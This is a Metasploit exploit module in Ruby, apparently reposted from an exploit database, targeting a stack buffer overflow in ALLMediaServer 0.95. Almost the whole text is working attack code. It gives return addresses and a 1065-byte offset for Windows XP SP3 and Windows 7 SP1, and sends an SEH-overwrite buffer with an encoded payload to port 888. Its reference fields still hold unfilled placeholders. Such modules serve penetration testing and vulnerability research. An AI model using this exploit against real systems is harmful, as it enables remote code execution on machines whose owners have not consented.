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# ALLMediaServer 0.95 Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
#Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'ALLMediaServer 0.95 Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack buffer overflow in ALLMediaServer 0.95. The vulnerability
is caused due to a boundary error within the handling of HTTP request.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom<metacom27[at]gmail.com>', # Original discovery
'<metacom>', # MSF Module
'Romanian Security Team - RST',
],
'References' =>
[
[ 'OSVDB', '<insert OSVDB number here>' ],
[ 'CVE', 'insert CVE number here' ],
[ 'URL', 'insert another link to the exploit/advisory here' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process', #none/process/thread/seh
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00", # <change if needed>
'DisableNops' => true,
},

'Targets' =>
[
[ 'ALLMediaServer 0.95 / Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0042173c, # pop eax # pop ebx # ret - MediaServer.exe
'Offset' => 1065
}
],


[ 'ALLMediaServer 0.95 / Windows XP SP3', # Windows XP SP3 - English'
{
'Ret' => 0x006f0854, # pop ecx # pop ebp # ret - MediaServer.exe
'Offset' => 1065
}
],
],
'Privileged' => false,
#Correct Date Format: "M D Y"
#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))

register_options([Opt::RPORT(888)], self.class)

end

def exploit


connect
buffer = "http://"
buffer << rand_text(target['Offset']) #junk
buffer << generate_seh_record(target.ret)
buffer << payload.encoded #3931 bytes of space
# more junk may be needed to trigger the exception

print_status("Sending payload to ALLMediaServer on #{target.name}...")
sock.put(buffer)

handler
disconnect

end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2013-08-22]

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